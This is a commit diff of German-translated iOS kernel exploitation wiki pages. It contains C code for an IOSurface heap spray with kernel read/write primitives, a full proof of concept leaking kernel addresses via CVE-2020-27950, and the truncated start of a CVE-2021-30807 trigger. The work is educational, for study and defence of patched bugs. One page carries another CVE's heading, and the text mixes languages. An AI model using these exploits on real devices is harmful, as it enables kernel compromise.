Translated ['src/binary-exploitation/ios-exploiting/README.md', 'src/pen

src/SUMMARY.md

@@ -768,7 +768,7 @@
     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -838,7 +838,7 @@
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
 
 # 🤖 AI
 - [AI Security](AI/README.md)

src/binary-exploitation/ios-exploiting.md

@@ -1,208 +0,0 @@
-# iOS Exploiting
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Physikalisches Use-After-Free
-
-Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über den Exploit mit dieser Technik finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
-
-### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
-
-Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seiten-Tabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
-
-#### Ebenen der Seiten-Tabellen in iOS
-
-Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
-
-1. **L1-Seitentabelle (Ebene 1)**:
-* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
-* Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
-2. **L2-Seitentabelle (Ebene 2)**:
-* Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB).
-* Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
-3. **L3-Seitentabelle (Ebene 3)**:
-* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
-* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
-
-#### Abbildung von virtuellem zu physischem Speicher
-
-* **Direkte Abbildung (Blockabbildung)**:
-* Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
-* **Zeiger auf die Kind-Seitentabelle**:
-* Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen.
-
-#### Beispiel: Abbildung einer virtuellen Adresse
-
-Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
-
-1. **L1-Tabelle**:
-* Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
-2. **L2-Tabelle**:
-* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
-3. **L3-Tabelle**:
-* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
-
-#### Beispiel der Adressabbildung
-
-Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
-
-* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
-* Dies ist eine **Blockabbildung** auf der L2-Ebene.
-
-Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
-
-* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet.
-
-### Physikalisches Use-After-Free
-
-Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
-
-1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**.
-2. Die **Seiten-Tabellen** werden aktualisiert, um diesen Speicher auf eine spezifische physische Adresse abzubilden, auf die der Prozess zugreifen kann.
-3. Der Prozess den Speicher **deallokiert** (freigibt).
-4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
-5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
-6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
-
-Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, **Kernel-Speicher zu manipulieren**.
-
-### Exploitation-Strategie: Heap Spray
-
-Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**:
-
-1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
-2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
-3. Sie **durchsuchen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
-4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
-
-Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
-
-### Schritt-für-Schritt Heap Spray Prozess
-
-1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
-2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
-3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
-* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**.
-* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
-
-Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen:
-```c
-void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
-if (*nClients >= 0x4000) return;
-for (int i = 0; i < nSurfaces; i++) {
-fast_create_args_t args;
-lock_result_t result;
-
-size_t size = IOSurfaceLockResultSize;
-args.address = 0;
-args.alloc_size = *nClients + 1;
-args.pixel_format = IOSURFACE_MAGIC;
-
-IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
-io_connect_t id = result.surface_id;
-
-(*clients)[*nClients] = id;
-*nClients = (*nClients) += 1;
-}
-}
-```
-Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
-```c
-int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
-io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
-int nSurfaceIDs = 0;
-
-for (int i = 0; i < 0x400; i++) {
-spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
-
-for (int j = 0; j < nPages; j++) {
-uint64_t start = puafPages[j];
-uint64_t stop = start + (pages(1) / 16);
-
-for (uint64_t k = start; k < stop; k += 8) {
-if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
-info.object = k;
-info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
-if (self_task) *self_task = iosurface_get_receiver(k);
-goto sprayDone;
-}
-}
-}
-}
-
-sprayDone:
-for (int i = 0; i < nSurfaceIDs; i++) {
-if (surfaceIDs[i] == info.surface) continue;
-iosurface_release(client, surfaceIDs[i]);
-}
-free(surfaceIDs);
-
-return 0;
-}
-```
-### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
-
-Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
-
-**Wichtige Felder in IOSurface**
-
-Das IOSurface-Objekt hat zwei entscheidende Felder:
-
-1. **Use Count Pointer**: Ermöglicht einen **32-Bit-Lesezugriff**.
-2. **Indexed Timestamp Pointer**: Ermöglicht einen **64-Bit-Schreibzugriff**.
-
-Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
-
-#### 32-Bit Kernel Lesezugriff
-
-Um einen Lesezugriff durchzuführen:
-
-1. Überschreiben Sie den **use count pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
-2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
-```c
-uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
-uint64_t args[1] = {surfaceID};
-uint32_t size = 1;
-uint64_t out = 0;
-IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
-return (uint32_t)out;
-}
-
-uint32_t iosurface_kread32(uint64_t addr) {
-uint64_t orig = iosurface_get_use_count_pointer(info.object);
-iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
-uint32_t value = get_use_count(info.client, info.surface);
-iosurface_set_use_count_pointer(info.object, orig);
-return value;
-}
-```
-#### 64-Bit Kernel Write
-
-Um einen Schreibvorgang durchzuführen:
-
-1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse.
-2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
-```c
-void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
-uint64_t args[3] = {surfaceID, 0, value};
-IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
-}
-
-void iosurface_kwrite64(uint64_t addr, uint64_t value) {
-uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
-iosurface_set_indexed_timestamp_pointer(info.object, addr);
-set_indexed_timestamp(info.client, info.surface, value);
-iosurface_set_indexed_timestamp_pointer(info.object, orig);
-}
-```
-#### Exploit Flow Recap
-
-1. **Trigger Physical Use-After-Free**: Freie Seiten sind zur Wiederverwendung verfügbar.
-2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen.
-3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
-4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
-
-Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitiven erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
-
-
-{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md

@@ -0,0 +1,332 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Der Fehler
+
+Eine gute Erklärung der Schwachstelle gibt es [hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), aber zusammengefasst:
+
+Jede Mach-Nachricht, die der Kernel empfängt, endet mit einem **"trailer"**: einer variablen Länge struct mit Metadaten (seqno, sender token, audit token, context, access control data, labels...). Der Kernel **reserviert im Nachrichtspuffer immer den größtmöglichen Trailer** (MAX_TRAILER_SIZE), initialisiert dabei jedoch **nur einige Felder** und entscheidet später **welche Trailer-Größe zurückgegeben wird** basierend auf **vom Benutzer kontrollierten receive-Optionen**.
+
+Das sind die für den Trailer relevanten structs:
+```c
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+} mach_msg_trailer_t;
+
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+mach_port_seqno_t             msgh_seqno;
+security_token_t              msgh_sender;
+audit_token_t                 msgh_audit;
+mach_port_context_t           msgh_context;
+int                           msgh_ad;
+msg_labels_t                  msgh_labels;
+} mach_msg_mac_trailer_t;
+
+#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
+typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
+#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
+```
+Wenn das trailer object erzeugt wird, werden nur einige Felder initialisiert, und die maximale Trailer-Größe immer reserviert:
+```c
+trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
+trailer->msgh_sender = current_thread()->task->sec_token;
+trailer->msgh_audit = current_thread()->task->audit_token;
+trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
+trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
+[...]
+trailer->msgh_labels.sender = 0;
+```
+Dann zum Beispiel, wenn versucht wird, eine Mach-Nachricht mit `mach_msg()` zu lesen, wird die Funktion `ipc_kmsg_add_trailer()` aufgerufen, um den Trailer an die Nachricht anzuhängen. Innerhalb dieser Funktion wird die Trailer-Größe berechnet und einige andere Trailer-Felder ausgefüllt:
+```c
+if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
+return trailer->msgh_trailer_size;
+}
+
+trailer->msgh_seqno = seqno;
+trailer->msgh_context = context;
+trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
+```
+Der `option`-Parameter wird vom Benutzer kontrolliert, daher **muss ein Wert übergeben werden, der die `if`-Prüfung besteht.**
+
+Um diese Prüfung zu bestehen, müssen wir eine gültige unterstützte `option` senden:
+```c
+#define MACH_RCV_TRAILER_NULL   0
+#define MACH_RCV_TRAILER_SEQNO  1
+#define MACH_RCV_TRAILER_SENDER 2
+#define MACH_RCV_TRAILER_AUDIT  3
+#define MACH_RCV_TRAILER_CTX    4
+#define MACH_RCV_TRAILER_AV     7
+#define MACH_RCV_TRAILER_LABELS 8
+
+#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
+#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
+#define MACH_RCV_TRAILER_MASK        ((0xf << 24))
+```
+Aber da das `MACH_RCV_TRAILER_MASK` nur Bits prüft, können wir jeden Wert zwischen `0` und `8` übergeben, um nicht in die `if`-Anweisung zu gelangen.
+
+Wenn man im Code weitermacht, findet man:
+```c
+if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
+trailer->msgh_ad = 0;
+}
+
+/*
+* The ipc_kmsg_t holds a reference to the label of a label
+* handle, not the port. We must get a reference to the port
+* and a send right to copyout to the receiver.
+*/
+
+if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
+trailer->msgh_labels.sender = 0;
+}
+
+done:
+#ifdef __arm64__
+ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
+#endif /* __arm64__ */
+
+return trailer->msgh_trailer_size;
+```
+Wie du sehen kannst, wird das Feld **`msgh_ad`** auf `0` initialisiert, wenn `option` größer oder gleich `MACH_RCV_TRAILER_AV` (7) ist.
+
+Wenn du aufgefallen bist, war **`msgh_ad`** immer noch das einzige Feld des trailer, das vorher nicht initialisiert wurde und daher einen leak aus zuvor verwendetem Speicher enthalten konnte.
+
+Um seine Initialisierung zu vermeiden, übergibt man einen `option`-Wert von `5` oder `6`. Damit passiert die erste `if`-Prüfung und die `if`, die `msgh_ad` initialisiert, wird nicht betreten, da die Werte `5` und `6` keinem trailer-Typ zugeordnet sind.
+
+### Basic PoC
+
+Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
+
+### Leak Kernel Address PoC
+
+Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be a leak.
+
+Kommentare wurden zur besseren Verständlichkeit hinzugefügt:
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <mach/mach.h>
+
+// Number of OOL port descriptors in the "big" message.
+// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
+#define LEAK_PORTS 50
+
+// "Big" message: many descriptors → larger descriptor array in kmsg
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
+} message_big_t;
+
+// "Small" message: fewer descriptors → leaves more room for the trailer
+// to overlap where descriptor pointers used to be in the reused kalloc chunk.
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
+} message_small_t;
+
+int main(int argc, char *argv[]) {
+mach_port_t port;       // our local receive port (target of sends)
+mach_port_t sent_port;  // the port whose kernel address we want to leak
+
+/*
+* 1) Create a receive right and attach a send right so we can send to ourselves.
+*    This gives us predictable control over ipc_kmsg allocations when we send.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
+mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
+
+/*
+* 2) Create another receive port (sent_port). We'll reference this port
+*    in OOL descriptors so the kernel stores pointers to its ipc_port
+*    structure in the kmsg → those pointers are what we aim to leak.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
+mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
+
+printf("[*] Will get port %x address\n", sent_port);
+
+message_big_t   *big_message   = NULL;
+message_small_t *small_message = NULL;
+
+// Compute userland sizes of our message structs
+mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
+mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
+
+// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
+big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
+small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+/*
+* 3) Prepare the "big" message:
+*    - Complex bit set (has descriptors)
+*    - 50 OOL port descriptors, all pointing to the same sent_port
+*    When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
+*    Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
+*/
+printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
+memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
+
+big_message->header.msgh_remote_port = port; // send to our receive right
+big_message->header.msgh_size        = big_size;
+big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+big_message->body.msgh_descriptor_count = LEAK_PORTS;
+
+for (int i = 0; i < LEAK_PORTS; i++) {
+big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+big_message->sent_ports[i].name        = sent_port; // repeated to fill array with pointers
+}
+
+/*
+* 4) Prepare the "small" message:
+*    - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
+*      the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
+*/
+printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
+memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+small_message->header.msgh_remote_port = port;
+small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
+
+for (int i = 0; i < LEAK_PORTS - 10; i++) {
+small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+small_message->sent_ports[i].name        = sent_port;
+}
+
+/*
+* 5) Receive buffer for reading back messages with trailers.
+*    We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
+*    On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
+*    if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
+*/
+uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
+mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
+uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
+
+/*
+* ---------- Exploitation sequence ----------
+*
+* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
+*         kernel pointers (ipc_port*) in its descriptor array.
+*/
+printf("[*] Sending message 1\n");
+mach_msg(&big_message->header,
+MACH_SEND_MSG,
+big_size,            // send size
+0,                   // no receive
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step B: Immediately receive/discard it with a zero-sized buffer.
+*         This frees the kalloc chunk without copying descriptors back,
+*         leaving the kernel pointers resident in freed memory (stale).
+*/
+printf("[*] Discarding message 1\n");
+mach_msg((mach_msg_header_t *)0,
+MACH_RCV_MSG,        // try to receive
+0,                   // send size 0
+0,                   // recv size 0 (forces error/free path)
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
+*         We slightly bump msgh_size by +4 so that when the kernel appends
+*         the trailer, the trailer's uninitialized field `msgh_ad` overlaps
+*         the low 4 bytes of a stale ipc_port* pointer from the prior message.
+*/
+small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
+printf("[*] Sending message 2\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t),
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step D: Receive message 2 and request an invalid trailer elements value (5).
+*         - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
+*         - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
+*         - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
+*           so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
+*/
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 2\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
+0,
+small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+// Trailer begins right after the message body we sent (small_size + 4)
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
+
+// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
+sent_port_address |= (uint32_t)trailer->msgh_ad;
+
+/*
+* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
+*         This moves the overlap window so `msgh_ad` captures the high 4 bytes.
+*/
+printf("[*] Sending message 3\n");
+mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+printf("[*] Discarding message 3\n");
+mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+// add another +4 to msgh_size → total +8 shift from the baseline
+small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
+printf("[*] Sending message 4\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t)*2,
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 4\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
+0,
+small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
+
+// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
+sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
+
+printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
+
+return 0;
+}
+```
+## Referenzen
+
+- [Synacktivs Blogbeitrag](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md

@@ -0,0 +1,297 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die Schwachstelle
+
+You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
+
+- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
+
+- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
+
+> `ptr = *(this + 0xA58 + scalar0 * 8);` → wird an `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` als **`IOSurface*`** übergeben.\
+> **Result:** **OOB pointer read & type confusion** on that array. Wenn der Pointer nicht gültig ist, bringt eine Kernel-Dereferenzierung das System zum Absturz → **DoS**.
+
+> [!NOTE]
+> Dies wurde in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** behoben
+
+
+> [!WARNING]
+> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
+
+## DoS PoC
+
+Das Folgende ist der ursprüngliche DoS PoC aus dem originalen Blog-Post mit zusätzlichen Kommentaren:
+```c
+// PoC for CVE-2021-30807 trigger (annotated)
+// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
+// Build/run only on devices you own and that are vulnerable.
+// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
+// https://support.apple.com/en-us/103144
+// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
+
+void trigger_clcd_vuln(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+
+// The "type" argument is the type (selector) of user client to open.
+// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
+// external methods we need (incl. selector 83). If this doesn't work on your
+// build, try different types or query IORegistry to enumerate.
+int type = 2;
